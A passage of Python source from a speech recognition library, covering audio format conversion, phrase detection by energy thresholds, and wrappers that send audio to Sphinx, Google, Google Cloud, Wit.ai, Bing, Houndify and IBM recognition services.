resulting audio is resampled to match. Writing these bytes directly to a file results in a valid `AIFF-C file <https://en.wikipedia.org/wiki/Audio_Interchange_File_Format>`__. """ raw_data = self.get_raw_data(convert_rate, convert_width) sample_rate = self.sample_rate if convert_rate is None else convert_rate sample_width = self.sample_width if convert_width is None else convert_width # the AIFF format is big-endian, so we need to covnert the little-endian raw data to big-endian if hasattr(audioop, "byteswap"): # ``audioop.byteswap`` was only added in Python 3.4 raw_data = audioop.byteswap(raw_data, sample_width) else: # manually reverse the bytes of each sample, which is slower but works well enough as a fallback raw_data = raw_data[sample_width - 1::-1] + b"".join(raw_data[i + sample_width:i:-1] for i in range(sample_width - 1, len(raw_data), sample_width)) # generate the AIFF-C file contents with io.BytesIO() as aiff_file: aiff_writer = aifc.open(aiff_file, "wb") try: # note that we can't use context manager, since that was only added in Python 3.4 aiff_writer.setframerate(sample_rate) aiff_writer.setsampwidth(sample_width) aiff_writer.setnchannels(1) aiff_writer.writeframes(raw_data) aiff_data = aiff_file.getvalue() finally: # make sure resources are cleaned up aiff_writer.close() return aiff_data def get_flac_data(self, convert_rate=None, convert_width=None): """ Returns a byte string representing the contents of a FLAC file containing the audio represented by the ``AudioData`` instance. Note that 32-bit FLAC is not supported. If the audio data is 32-bit and ``convert_width`` is not specified, then the resulting FLAC will be a 24-bit FLAC. If ``convert_rate`` is specified and the audio sample rate is not ``convert_rate`` Hz, the resulting audio is resampled to match. If ``convert_width`` is specified and the audio samples are not ``convert_width`` bytes each, the resulting audio is converted to match. Writing these bytes directly to a file results in a valid `FLAC file <https://en.wikipedia.org/wiki/FLAC>`__. """ assert convert_width is None or (convert_width % 1 == 0 and 1 <= convert_width <= 3), "Sample width to convert to must be between 1 and 3 inclusive" if self.sample_width > 3 and convert_width is None: # resulting WAV data would be 32-bit, which is not convertable to FLAC using our encoder convert_width = 3 # the largest supported sample width is 24-bit, so we'll limit the sample width to that # run the FLAC converter with the WAV data to get the FLAC data wav_data = self.get_wav_data(convert_rate, convert_width) flac_converter = get_flac_converter() if os.name == "nt": # on Windows, specify that the process is to be started without showing a console window startup_info = subprocess.STARTUPINFO() startup_info.dwFlags |= subprocess.STARTF_USESHOWWINDOW # specify that the wShowWindow field of `startup_info` contains a value startup_info.wShowWindow = subprocess.SW_HIDE # specify that the console window should be hidden else: startup_info = None # default startupinfo process = subprocess.Popen([ flac_converter, "--stdout", "--totally-silent", # put the resulting FLAC file in stdout, and make sure it's not mixed with any program output "--best", # highest level of compression available "-", # the input FLAC file contents will be given in stdin ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, startupinfo=startup_info) flac_data, stderr = process.communicate(wav_data) return flac_data class Recognizer(AudioSource): def __init__(self): """ Creates a new ``Recognizer`` instance, which represents a collection of speech recognition functionality. """ self.energy_threshold = 300 # minimum audio energy to consider for recording self.dynamic_energy_threshold = True self.dynamic_energy_adjustment_damping = 0.15 self.dynamic_energy_ratio = 1.5 self.pause_threshold = 0.8 # seconds of non-speaking audio before a phrase is considered complete self.operation_timeout = None # seconds after an internal operation (e.g., an API request) starts before it times out, or ``None`` for no timeout self.phrase_threshold = 0.3 # minimum seconds of speaking audio before we consider the speaking audio a phrase - values below this are ignored (for filtering out clicks and pops) self.non_speaking_duration = 0.5 # seconds of non-speaking audio to keep on both sides of the recording def record(self, source, duration=None, offset=None): """ Records up to ``duration`` seconds of audio from ``source`` (an ``AudioSource`` instance) starting at ``offset`` (or at the beginning if not specified) into an ``AudioData`` instance, which it returns. If ``duration`` is not specified, then it will record until there is no more audio input. """ assert isinstance(source, AudioSource), "Source must be an audio source" assert source.stream is not None, "Audio source must be entered before recording, see documentation for ``AudioSource``; are you using ``source`` outside of a ``with`` statement?" frames = io.BytesIO() seconds_per_buffer = (source.CHUNK + 0.0) / source.SAMPLE_RATE elapsed_time = 0 offset_time = 0 offset_reached = False while True: # loop for the total number of chunks needed if offset and not offset_reached: offset_time += seconds_per_buffer if offset_time > offset: offset_reached = True buffer = source.stream.read(source.CHUNK) if len(buffer) == 0: break if offset_reached or not offset: elapsed_time += seconds_per_buffer if duration and elapsed_time > duration: break frames.write(buffer) frame_data = frames.getvalue() frames.close() return AudioData(frame_data, source.SAMPLE_RATE, source.SAMPLE_WIDTH) def adjust_for_ambient_noise(self, source, duration=1): """ Adjusts the energy threshold dynamically using audio from ``source`` (an ``AudioSource`` instance) to account for ambient noise. Intended to calibrate the energy threshold with the ambient energy level. Should be used on periods of audio without speech - will stop early if any speech is detected. The ``duration`` parameter is the maximum number of seconds that it will dynamically adjust the threshold for before returning. This value should be at least 0.5 in order to get a representative sample of the ambient noise. """ assert isinstance(source, AudioSource), "Source must be an audio source" assert source.stream is not None, "Audio source must be entered before adjusting, see documentation for ``AudioSource``; are you using ``source`` outside of a ``with`` statement?" assert self.pause_threshold >= self.non_speaking_duration >= 0 seconds_per_buffer = (source.CHUNK + 0.0) / source.SAMPLE_RATE elapsed_time = 0 # adjust energy threshold until a phrase starts while True: elapsed_time += seconds_per_buffer if elapsed_time > duration: break buffer = source.stream.read(source.CHUNK) energy = audioop.rms(buffer, source.SAMPLE_WIDTH) # energy of the audio signal # dynamically adjust the energy threshold using asymmetric weighted average damping = self.dynamic_energy_adjustment_damping ** seconds_per_buffer # account for different chunk sizes and rates target_energy = energy * self.dynamic_energy_ratio self.energy_threshold = self.energy_threshold * damping + target_energy * (1 - damping) def listen(self, source, timeout=None, phrase_time_limit=None): """ Records a single phrase from ``source`` (an ``AudioSource`` instance) into an ``AudioData`` instance, which it returns. This is done by waiting until the audio has an energy above ``recognizer_instance.energy_threshold`` (the user has started speaking), and then recording until it encounters ``recognizer_instance.pause_threshold`` seconds of non-speaking or there is no more audio input. The ending silence is not included. The ``timeout`` parameter is the maximum number of seconds that this will wait for a phrase to start before giving up and throwing an ``speech_recognition.WaitTimeoutError`` exception. If ``timeout`` is ``None``, there will be no wait timeout. The ``phrase_time_limit`` parameter is the maximum number of seconds that this will allow a phrase to continue before stopping and returning the part of the phrase processed before the time limit was reached. The resulting audio will be the phrase cut off at the time limit. If ``phrase_timeout`` is ``None``, there will be no phrase time limit. This operation will always complete within ``timeout + phrase_timeout`` seconds if both are numbers, either by returning the audio data, or by raising an exception. """ assert isinstance(source, AudioSource), "Source must be an audio source" assert source.stream is not None, "Audio source must be entered before listening, see documentation for ``AudioSource``; are you using ``source`` outside of a ``with`` statement?" assert self.pause_threshold >= self.non_speaking_duration >= 0 seconds_per_buffer = (source.CHUNK + 0.0) / source.SAMPLE_RATE pause_buffer_count = int(math.ceil(self.pause_threshold / seconds_per_buffer)) # number of buffers of non-speaking audio during a phrase, before the phrase should be considered complete phrase_buffer_count = int(math.ceil(self.phrase_threshold / seconds_per_buffer)) # minimum number of buffers of speaking audio before we consider the speaking audio a phrase non_speaking_buffer_count = int(math.ceil(self.non_speaking_duration / seconds_per_buffer)) # maximum number of buffers of non-speaking audio to retain before and after a phrase # read audio input for phrases until there is a phrase that is long enough elapsed_time = 0 # number of seconds of audio read buffer = b"" # an empty buffer means that the stream has ended and there is no data left to read while True: frames = collections.deque() # store audio input until the phrase starts while True: # handle waiting too long for phrase by raising an exception elapsed_time += seconds_per_buffer if timeout and elapsed_time > timeout: raise WaitTimeoutError("listening timed out while waiting for phrase to start") buffer = source.stream.read(source.CHUNK) if len(buffer) == 0: break # reached end of the stream frames.append(buffer) if len(frames) > non_speaking_buffer_count: # ensure we only keep the needed amount of non-speaking buffers frames.popleft() # detect whether speaking has started on audio input energy = audioop.rms(buffer, source.SAMPLE_WIDTH) # energy of the audio signal if energy > self.energy_threshold: break # dynamically adjust the energy threshold using asymmetric weighted average if self.dynamic_energy_threshold: damping = self.dynamic_energy_adjustment_damping ** seconds_per_buffer # account for different chunk sizes and rates target_energy = energy * self.dynamic_energy_ratio self.energy_threshold = self.energy_threshold * damping + target_energy * (1 - damping) # read audio input until the phrase ends pause_count, phrase_count = 0, 0 phrase_start_time = elapsed_time while True: # handle phrase being too long by cutting off the audio elapsed_time += seconds_per_buffer if phrase_time_limit and elapsed_time - phrase_start_time > phrase_time_limit: break buffer = source.stream.read(source.CHUNK) if len(buffer) == 0: break # reached end of the stream frames.append(buffer) phrase_count += 1 # check if speaking has stopped for longer than the pause threshold on the audio input energy = audioop.rms(buffer, source.SAMPLE_WIDTH) # unit energy of the audio signal within the buffer if energy > self.energy_threshold: pause_count = 0 else: pause_count += 1 if pause_count > pause_buffer_count: # end of the phrase break # check how long the detected phrase is, and retry listening if the phrase is too short phrase_count -= pause_count # exclude the buffers for the pause before the phrase if phrase_count >= phrase_buffer_count or len(buffer) == 0: break # phrase is long enough or we've reached the end of the stream, so stop listening # obtain frame data for i in range(pause_count - non_speaking_buffer_count): frames.pop() # remove extra non-speaking frames at the end frame_data = b"".join(list(frames)) return AudioData(frame_data, source.SAMPLE_RATE, source.SAMPLE_WIDTH) def listen_in_background(self, source, callback, phrase_time_limit=None): """ Spawns a thread to repeatedly record phrases from ``source`` (an ``AudioSource`` instance) into an ``AudioData`` instance and call ``callback`` with that ``AudioData`` instance as soon as each phrase are detected. Returns a function object that, when called, requests that the background listener thread stop, and waits until it does before returning. The background thread is a daemon and will not stop the program from exiting if there are no other non-daemon threads. Phrase recognition uses the exact same mechanism as ``recognizer_instance.listen(source)``. The ``phrase_time_limit`` parameter works in the same way as the ``phrase_time_limit`` parameter for ``recognizer_instance.listen(source)``, as well. The ``callback`` parameter is a function that should accept two parameters - the ``recognizer_instance``, and an ``AudioData`` instance representing the captured audio. Note that ``callback`` function will be called from a non-main thread. """ assert isinstance(source, AudioSource), "Source must be an audio source" running = [True] def threaded_listen(): with source as s: while running[0]: try: # listen for 1 second, then check again if the stop function has been called audio = self.listen(s, 1, phrase_time_limit) except WaitTimeoutError: # listening timed out, just try again pass else: if running[0]: callback(self, audio) def stopper(): running[0] = False listener_thread.join() # block until the background thread is done, which can be up to 1 second listener_thread = threading.Thread(target=threaded_listen) listener_thread.daemon = True listener_thread.start() return stopper def recognize_sphinx(self, audio_data, language="en-US", keyword_entries=None, grammar=None, show_all=False): """ Performs speech recognition on ``audio_data`` (an ``AudioData`` instance), using CMU Sphinx. The recognition language is determined by ``language``, an RFC5646 language tag like ``"en-US"`` or ``"en-GB"``, defaulting to US English. Out of the box, only ``en-US`` is supported. See `Notes on using `PocketSphinx <https://github.com/Uberi/speech_recognition/blob/master/reference/pocketsphinx.rst>`__ for information about installing other languages. This document is also included under ``reference/pocketsphinx.rst``. If specified, the keywords to search for are determined by ``keyword_entries``, an iterable of tuples of the form ``(keyword, sensitivity)``, where ``keyword`` is a phrase, and ``sensitivity`` is how sensitive to this phrase the recognizer should be, on a scale of 0 (very insensitive, more false negatives) to 1 (very sensitive, more false positives) inclusive. If not specified or ``None``, no keywords are used and Sphinx will simply transcribe whatever words it recognizes. Specifying ``keyword_entries`` is more accurate than just looking for those same keywords in non-keyword-based transcriptions, because Sphinx knows specifically what sounds to look for. Sphinx can also handle FSG or JSGF grammars. The parameter ``grammar`` expects a path to the grammar file. Note that if a JSGF grammar is passed, an FSG grammar will be created at the same location to speed up execution in the next run. If ``keyword_entries`` are passed, content of ``grammar`` will be ignored. Returns the most likely transcription if ``show_all`` is false (the default). Otherwise, returns the Sphinx ``pocketsphinx.pocketsphinx.Decoder`` object resulting from the recognition. Raises a ``speech_recognition.UnknownValueError`` exception if the speech is unintelligible. Raises a ``speech_recognition.RequestError`` exception if there are any issues with the Sphinx installation. """ assert isinstance(audio_data, AudioData), "``audio_data`` must be audio data" assert isinstance(language, str), "``language`` must be a string" assert keyword_entries is None or all(isinstance(keyword, (type(""), type(u""))) and 0 <= sensitivity <= 1 for keyword, sensitivity in keyword_entries), "``keyword_entries`` must be ``None`` or a list of pairs of strings and numbers between 0 and 1" # import the PocketSphinx speech recognition module try: from pocketsphinx import pocketsphinx, Jsgf, FsgModel except ImportError: raise RequestError("missing PocketSphinx module: ensure that PocketSphinx is set up correctly.") except ValueError: raise RequestError("bad PocketSphinx installation; try reinstalling PocketSphinx version 0.0.9 or better.") if not hasattr(pocketsphinx, "Decoder") or not hasattr(pocketsphinx.Decoder, "default_config"): raise RequestError("outdated PocketSphinx installation; ensure you have PocketSphinx version 0.0.9 or better.") language_directory = os.path.join(os.path.dirname(os.path.realpath(__file__)), "pocketsphinx-data", language) if not os.path.isdir(language_directory): raise RequestError("missing PocketSphinx language data directory: \"{}\"".format(language_directory)) acoustic_parameters_directory = os.path.join(language_directory, "acoustic-model") if not os.path.isdir(acoustic_parameters_directory): raise RequestError("missing PocketSphinx language model parameters directory: \"{}\"".format(acoustic_parameters_directory)) language_model_file = os.path.join(language_directory, "language-model.lm.bin") if not os.path.isfile(language_model_file): raise RequestError("missing PocketSphinx language model file: \"{}\"".format(language_model_file)) phoneme_dictionary_file = os.path.join(language_directory, "pronounciation-dictionary.dict") if not os.path.isfile(phoneme_dictionary_file): raise RequestError("missing PocketSphinx phoneme dictionary file: \"{}\"".format(phoneme_dictionary_file)) # create decoder object config = pocketsphinx.Decoder.default_config() config.set_string("-hmm", acoustic_parameters_directory) # set the path of the hidden Markov model (HMM) parameter files config.set_string("-lm", language_model_file) config.set_string("-dict", phoneme_dictionary_file) config.set_string("-logfn", os.devnull) # disable logging (logging causes unwanted output in terminal) decoder = pocketsphinx.Decoder(config) # obtain audio data raw_data = audio_data.get_raw_data(convert_rate=16000, convert_width=2) # the included language models require audio to be 16-bit mono 16 kHz in little-endian format # obtain recognition results if keyword_entries is not None: # explicitly specified set of keywords with PortableNamedTemporaryFile("w") as f: # generate a keywords file - Sphinx documentation recommendeds sensitivities between 1e-50 and 1e-5 f.writelines("{} /1e{}/\n".format(keyword, 100 * sensitivity - 110) for keyword, sensitivity in keyword_entries) f.flush() # perform the speech recognition with the keywords file (this is inside the context manager so the file isn;t deleted until we're done) decoder.set_kws("keywords", f.name) decoder.set_search("keywords") decoder.start_utt() # begin utterance processing decoder.process_raw(raw_data, False, True) # process audio data with recognition enabled (no_search = False), as a full utterance (full_utt = True) decoder.end_utt() # stop utterance processing elif grammar is not None: # a path to a FSG or JSGF grammar if not os.path.exists(grammar): raise ValueError("Grammar '{0}' does not exist.".format(grammar)) grammar_path = os.path.abspath(os.path.dirname(grammar)) grammar_name = os.path.splitext(os.path.basename(grammar))[0] fsg_path = "{0}/{1}.fsg".format(grammar_path, grammar_name) if not os.path.exists(fsg_path): # create FSG grammar if not available jsgf = Jsgf(grammar) rule = jsgf.get_rule("{0}.{0}".format(grammar_name)) fsg = jsgf.build_fsg(rule, decoder.get_logmath(), 7.5) fsg.writefile(fsg_path) else: fsg = FsgModel(fsg_path, decoder.get_logmath(), 7.5) decoder.set_fsg(grammar_name, fsg) decoder.set_search(grammar_name) decoder.start_utt() decoder.process_raw(raw_data, False, True) # process audio data with recognition enabled (no_search = False), as a full utterance (full_utt = True) decoder.end_utt() # stop utterance processing else: # no keywords, perform freeform recognition decoder.start_utt() # begin utterance processing decoder.process_raw(raw_data, False, True) # process audio data with recognition enabled (no_search = False), as a full utterance (full_utt = True) decoder.end_utt() # stop utterance processing if show_all: return decoder # return results hypothesis = decoder.hyp() if hypothesis is not None: return hypothesis.hypstr raise UnknownValueError() # no transcriptions available def recognize_google(self, audio_data, key=None, language="en-US", show_all=False): """ Performs speech recognition on ``audio_data`` (an ``AudioData`` instance), using the Google Speech Recognition API. The Google Speech Recognition API key is specified by ``key``. If not specified, it uses a generic key that works out of the box. This should generally be used for personal or testing purposes only, as it **may be revoked by Google at any time**. To obtain your own API key, simply following the steps on the `API Keys <http://www.chromium.org/developers/how-tos/api-keys>`__ page at the Chromium Developers site. In the Google Developers Console, Google Speech Recognition is listed as "Speech API". The recognition language is determined by ``language``, an RFC5646 language tag like ``"en-US"`` (US English) or ``"fr-FR"`` (International French), defaulting to US English. A list of supported language tags can be found in this `StackOverflow answer <http://stackoverflow.com/a/14302134>`__. Returns the most likely transcription if ``show_all`` is false (the default). Otherwise, returns the raw API response as a JSON dictionary. Raises a ``speech_recognition.UnknownValueError`` exception if the speech is unintelligible. Raises a ``speech_recognition.RequestError`` exception if the speech recognition operation failed, if the key isn't valid, or if there is no internet connection. """ assert isinstance(audio_data, AudioData), "``audio_data`` must be audio data" assert key is None or isinstance(key, str), "``key`` must be ``None`` or a string" assert isinstance(language, str), "``language`` must be a string" flac_data = audio_data.get_flac_data( convert_rate=None if audio_data.sample_rate >= 8000 else 8000, # audio samples must be at least 8 kHz convert_width=2 # audio samples must be 16-bit ) if key is None: key = "AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw" url = "http://www.google.com/speech-api/v2/recognize?{}".format(urlencode({ "client": "chromium", "lang": language, "key": key, })) request = Request(url, data=flac_data, headers={"Content-Type": "audio/x-flac; rate={}".format(audio_data.sample_rate)}) # obtain audio transcription results try: response = urlopen(request, timeout=self.operation_timeout) except HTTPError as e: raise RequestError("recognition request failed: {}".format(e.reason)) except URLError as e: raise RequestError("recognition connection failed: {}".format(e.reason)) response_text = response.read().decode("utf-8") # ignore any blank blocks actual_result = [] for line in response_text.split("\n"): if not line: continue result = json.loads(line)["result"] if len(result) != 0: actual_result = result[0] break # return results if show_all: return actual_result if not isinstance(actual_result, dict) or len(actual_result.get("alternative", [])) == 0: raise UnknownValueError() if "confidence" in actual_result["alternative"]: # return alternative with highest confidence score best_hypothesis = max(actual_result["alternative"], key=lambda alternative: alternative["confidence"]) else: # when there is no confidence available, we arbitrarily choose the first hypothesis. best_hypothesis = actual_result["alternative"][0] if "transcript" not in best_hypothesis: raise UnknownValueError() return best_hypothesis["transcript"] def recognize_google_cloud(self, audio_data, credentials_json=None, language="en-US", preferred_phrases=None, show_all=False): """ Performs speech recognition on ``audio_data`` (an ``AudioData`` instance), using the Google Cloud Speech API. This function requires a Google Cloud Platform account; see the `Google Cloud Speech API Quickstart <https://cloud.google.com/speech/docs/getting-started>`__ for details and instructions. Basically, create a project, enable billing for the project, enable the Google Cloud Speech API for the project, and set up Service Account Key credentials for the project. The result is a JSON file containing the API credentials. The text content of this JSON file is specified by ``credentials_json``. If not specified, the library will try to automatically `find the default API credentials JSON file <https://developers.google.com/identity/protocols/application-default-credentials>`__. The recognition language is determined by ``language``, which is a BCP-47 language tag like ``"en-US"`` (US English). A list of supported language tags can be found in the `Google Cloud Speech API documentation <https://cloud.google.com/speech/docs/languages>`__. If ``preferred_phrases`` is a list of phrase strings, those given phrases will be more likely to be recognized over similar-sounding alternatives. This is useful for things like keyword/command recognition or adding new phrases that aren't in Google's vocabulary. Note that the API imposes certain `restrictions on the list of phrase strings <https://cloud.google.com/speech/limits#content>`__. Returns the most likely transcription if ``show_all`` is False (the default). Otherwise, returns the raw API response as a JSON dictionary. Raises a ``speech_recognition.UnknownValueError`` exception if the speech is unintelligible. Raises a ``speech_recognition.RequestError`` exception if the speech recognition operation failed, if the credentials aren't valid, or if there is no Internet connection. """ assert isinstance(audio_data, AudioData), "``audio_data`` must be audio data" if credentials_json is not None: try: json.loads(credentials_json) except: raise AssertionError("``credentials_json`` must be ``None`` or a valid JSON string") assert isinstance(language, str), "``language`` must be a string" assert preferred_phrases is None or all(isinstance(preferred_phrases, (type(""), type(u""))) for preferred_phrases in preferred_phrases), "``preferred_phrases`` must be a list of strings" # See https://cloud.google.com/speech/reference/rest/v1beta1/RecognitionConfig flac_data = audio_data.get_flac_data( convert_rate=None if 8000 <= audio_data.sample_rate <= 48000 else max(8000, min(audio_data.sample_rate, 48000)), # audio sample rate must be between 8 kHz and 48 kHz inclusive - clamp sample rate into this range convert_width=2 # audio samples must be 16-bit ) try: from oauth2client.client import GoogleCredentials from googleapiclient.discovery import build import googleapiclient.errors if credentials_json is None: api_credentials = GoogleCredentials.get_application_default() else: # the credentials can only be read from a file, so we'll make a temp file and write in the contents to work around that with PortableNamedTemporaryFile("w") as f: f.write(credentials_json) f.flush() api_credentials = GoogleCredentials.from_stream(f.name) speech_service = build("speech", "v1beta1", credentials=api_credentials, cache_discovery=False) except ImportError: raise RequestError("missing google-api-python-client module: ensure that google-api-python-client is set up correctly.") if preferred_phrases is None: speech_config = {"encoding": "FLAC", "sampleRate": audio_data.sample_rate, "languageCode": language} else: speech_config = {"encoding": "FLAC", "sampleRate": audio_data.sample_rate, "languageCode": language, "speechContext": {"phrases": preferred_phrases}} request = speech_service.speech().syncrecognize(body={"audio": {"content": base64.b64encode(flac_data).decode("utf8")}, "config": speech_config}) try: response = request.execute() except googleapiclient.errors.HttpError as e: raise RequestError(e) except URLError as e: raise RequestError("recognition connection failed: {0}".format(e.reason)) if show_all: return response if "results" not in response or len(response["results"]) == 0: raise UnknownValueError() transcript = "" for result in response["results"]: transcript += result["alternatives"][0]["transcript"].strip() + " " return transcript def recognize_wit(self, audio_data, key, show_all=False): """ Performs speech recognition on ``audio_data`` (an ``AudioData`` instance), using the Wit.ai API. The Wit.ai API key is specified by ``key``. Unfortunately, these are not available without `signing up for an account <https://wit.ai/>`__ and creating an app. You will need to add at least one intent to the app before you can see the API key, though the actual intent settings don't matter. To get the API key for a Wit.ai app, go to the app's overview page, go to the section titled "Make an API request", and look for something along the lines of ``Authorization: Bearer XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX``; ``XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`` is the API key. Wit.ai API keys are 32-character uppercase alphanumeric strings. The recognition language is configured in the Wit.ai app settings. Returns the most likely transcription if ``show_all`` is false (the default). Otherwise, returns the `raw API response <https://wit.ai/docs/http/20141022#get-intent-via-text-link>`__ as a JSON dictionary. Raises a ``speech_recognition.UnknownValueError`` exception if the speech is unintelligible. Raises a ``speech_recognition.RequestError`` exception if the speech recognition operation failed, if the key isn't valid, or if there is no internet connection. """ assert isinstance(audio_data, AudioData), "Data must be audio data" assert isinstance(key, str), "``key`` must be a string" wav_data = audio_data.get_wav_data( convert_rate=None if audio_data.sample_rate >= 8000 else 8000, # audio samples must be at least 8 kHz convert_width=2 # audio samples should be 16-bit ) url = "https://api.wit.ai/speech?v=20160526" request = Request(url, data=wav_data, headers={"Authorization": "Bearer {}".format(key), "Content-Type": "audio/wav"}) try: response = urlopen(request, timeout=self.operation_timeout) except HTTPError as e: raise RequestError("recognition request failed: {}".format(e.reason)) except URLError as e: raise RequestError("recognition connection failed: {}".format(e.reason)) response_text = response.read().decode("utf-8") result = json.loads(response_text) # return results if show_all: return result if "_text" not in result or result["_text"] is None: raise UnknownValueError() return result["_text"] def recognize_bing(self, audio_data, key, language="en-US", show_all=False): """ Performs speech recognition on ``audio_data`` (an ``AudioData`` instance), using the Microsoft Bing Speech API. The Microsoft Bing Speech API key is specified by ``key``. Unfortunately, these are not available without `signing up for an account <https://azure.microsoft.com/en-ca/pricing/details/cognitive-services/speech-api/>`__ with Microsoft Azure. To get the API key, go to the `Microsoft Azure Portal Resources <https://portal.azure.com/>`__ page, go to "All Resources" > "Add" > "See All" > Search "Bing Speech API > "Create", and fill in the form to make a "Bing Speech API" resource. On the resulting page (which is also accessible from the "All Resources" page in the Azure Portal), go to the "Show Access Keys" page, which will have two API keys, either of which can be used for the `key` parameter. Microsoft Bing Speech API keys are 32-character lowercase hexadecimal strings. The recognition language is determined by ``language``, a BCP-47 language tag like ``"en-US"`` (US English) or ``"fr-FR"`` (International French), defaulting to US English. A list of supported language values can be found in the `API documentation <https://docs.microsoft.com/en-us/azure/cognitive-services/speech/api-reference-rest/bingvoicerecognition#recognition-language>`__ under "Interactive and dictation mode". Returns the most likely transcription if ``show_all`` is false (the default). Otherwise, returns the `raw API response <https://docs.microsoft.com/en-us/azure/cognitive-services/speech/api-reference-rest/bingvoicerecognition#sample-responses>`__ as a JSON dictionary. Raises a ``speech_recognition.UnknownValueError`` exception if the speech is unintelligible. Raises a ``speech_recognition.RequestError`` exception if the speech recognition operation failed, if the key isn't valid, or if there is no internet connection. """ assert isinstance(audio_data, AudioData), "Data must be audio data" assert isinstance(key, str), "``key`` must be a string" assert isinstance(language, str), "``language`` must be a string" access_token, expire_time = getattr(self, "bing_cached_access_token", None), getattr(self, "bing_cached_access_token_expiry", None) allow_caching = True try: from time import monotonic # we need monotonic time to avoid being affected by system clock changes, but this is only available in Python 3.3+ except ImportError: try: from monotonic import monotonic # use time.monotonic backport for Python 2 if available (from https://pypi.python.org/pypi/monotonic) except (ImportError, RuntimeError): expire_time = None # monotonic time not available, don't cache access tokens allow_caching = False # don't allow caching, since monotonic time isn't available if expire_time is None or monotonic() > expire_time: # caching not enabled, first credential request, or the access token from the previous one expired # get an access token using OAuth credential_url = "https://api.cognitive.microsoft.com/sts/v1.0/issueToken" credential_request = Request(credential_url, data=b"", headers={ "Content-type": "application/x-www-form-urlencoded", "Content-Length": "0", "Ocp-Apim-Subscription-Key": key, }) if allow_caching: start_time = monotonic() try: credential_response = urlopen(credential_request, timeout=self.operation_timeout) except HTTPError as e: raise RequestError("recognition request failed: {}".format(e.reason)) except URLError as e: raise RequestError("recognition connection failed: {}".format(e.reason)) access_token = credential_response.read().decode("utf-8") if allow_caching: # save the token for the duration it is valid for self.bing_cached_access_token = access_token self.bing_cached_access_token_expiry = start_time + 600 # according to https://docs.microsoft.com/en-us/azure/cognitive-services/speech/api-reference-rest/bingvoicerecognition, the token expires in exactly 10 minutes wav_data = audio_data.get_wav_data( convert_rate=16000, # audio samples must be 8kHz or 16 kHz convert_width=2 # audio samples should be 16-bit ) url = "https://speech.platform.bing.com/speech/recognition/interactive/cognitiveservices/v1?{}".format(urlencode({ "language": language, "locale": language, "requestid": uuid.uuid4(), })) if sys.version_info >= (3, 6): # chunked-transfer requests are only supported in the standard library as of Python 3.6+, use it if possible request = Request(url, data=io.BytesIO(wav_data), headers={ "Authorization": "Bearer {}".format(access_token), "Content-type": "audio/wav; codec=\"audio/pcm\"; samplerate=16000", "Transfer-Encoding": "chunked", }) else: # fall back on manually formatting the POST body as a chunked request ascii_hex_data_length = "{:X}".format(len(wav_data)).encode("utf-8") chunked_transfer_encoding_data = ascii_hex_data_length + b"\r\n" + wav_data + b"\r\n0\r\n\r\n" request = Request(url, data=chunked_transfer_encoding_data, headers={ "Authorization": "Bearer {}".format(access_token), "Content-type": "audio/wav; codec=\"audio/pcm\"; samplerate=16000", "Transfer-Encoding": "chunked", }) try: response = urlopen(request, timeout=self.operation_timeout) except HTTPError as e: raise RequestError("recognition request failed: {}".format(e.reason)) except URLError as e: raise RequestError("recognition connection failed: {}".format(e.reason)) response_text = response.read().decode("utf-8") result = json.loads(response_text) # return results if show_all: return result if "RecognitionStatus" not in result or result["RecognitionStatus"] != "Success" or "DisplayText" not in result: raise UnknownValueError() return result["DisplayText"] def recognize_houndify(self, audio_data, client_id, client_key, show_all=False): """ Performs speech recognition on ``audio_data`` (an ``AudioData`` instance), using the Houndify API. The Houndify client ID and client key are specified by ``client_id`` and ``client_key``, respectively. Unfortunately, these are not available without `signing up for an account <https://www.houndify.com/signup>`__. Once logged into the `dashboard <https://www.houndify.com/dashboard>`__, you will want to select "Register a new client", and fill in the form as necessary. When at the "Enable Domains" page, enable the "Speech To Text Only" domain, and then select "Save & Continue". To get the client ID and client key for a Houndify client, go to the `dashboard <https://www.houndify.com/dashboard>`__ and select the client's "View Details" link. On the resulting page, the client ID and client key will be visible. Client IDs and client keys are both Base64-encoded strings. Currently, only English is supported as a recognition language. Returns the most likely transcription if ``show_all`` is false (the default). Otherwise, returns a JSON dictionary. Raises a ``speech_recognition.UnknownValueError`` exception if the speech is unintelligible. Raises a ``speech_recognition.RequestError`` exception if the speech recognition operation failed, if the key isn't valid, or if there is no internet connection. """ assert isinstance(audio_data, AudioData), "Data must be audio data" assert isinstance(client_id, str), "``client_id`` must be a string" assert isinstance(client_key, str), "``client_key`` must be a string" wav_data = audio_data.get_wav_data( convert_rate=None if audio_data.sample_rate in [8000, 16000] else 16000, # audio samples must be 8 kHz or 16 kHz convert_width=2 # audio samples should be 16-bit ) url = "https://api.houndify.com/v1/audio" user_id, request_id = str(uuid.uuid4()), str(uuid.uuid4()) request_time = str(int(time.time())) request_signature = base64.urlsafe_b64encode( hmac.new( base64.urlsafe_b64decode(client_key), user_id.encode("utf-8") + b";" + request_id.encode("utf-8") + request_time.encode("utf-8"), hashlib.sha256 ).digest() # get the HMAC digest as bytes ).decode("utf-8") request = Request(url, data=wav_data, headers={ "Content-Type": "application/json", "Hound-Request-Info": json.dumps({"ClientID": client_id, "UserID": user_id}), "Hound-Request-Authentication": "{};{}".format(user_id, request_id), "Hound-Client-Authentication": "{};{};{}".format(client_id, request_time, request_signature) }) try: response = urlopen(request, timeout=self.operation_timeout) except HTTPError as e: raise RequestError("recognition request failed: {}".format(e.reason)) except URLError as e: raise RequestError("recognition connection failed: {}".format(e.reason)) response_text = response.read().decode("utf-8") result = json.loads(response_text) # return results if show_all: return result if "Disambiguation" not in result or result["Disambiguation"] is None: raise UnknownValueError() return result['Disambiguation']['ChoiceData'][0]['Transcription'] def recognize_ibm(self, audio_data, username, password, language="en-US", show_all=False): """ Performs speech recognition on ``audio_data`` (an ``AudioData`` instance), using the IBM Speech to Text API. The IBM Speech to Text username and password are specified by ``username`` and ``password``, respectively. Unfortunately, these are not available without `signing up for an account <https://console.ng.bluemix.net/registration/>`__. Once logged into the Bluemix console, follow the instructions for `creating an IBM Watson service instance <https://www.ibm.com/watson/developercloud/doc/getting_started/gs-credentials.shtml>`__, where the Watson service is "Speech To Text". IBM Speech to Text usernames are strings of the form XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX, while passwords are mixed-case alphanumeric strings. The recognition language is determined by ``language``, an RFC5646 language tag with a dialect like ``"en-US"`` (US English) or ``"zh-CN"`` (Mandarin Chinese), defaulting to US English. The supported language values are listed under the ``model`` parameter of the `audio recognition API documentation 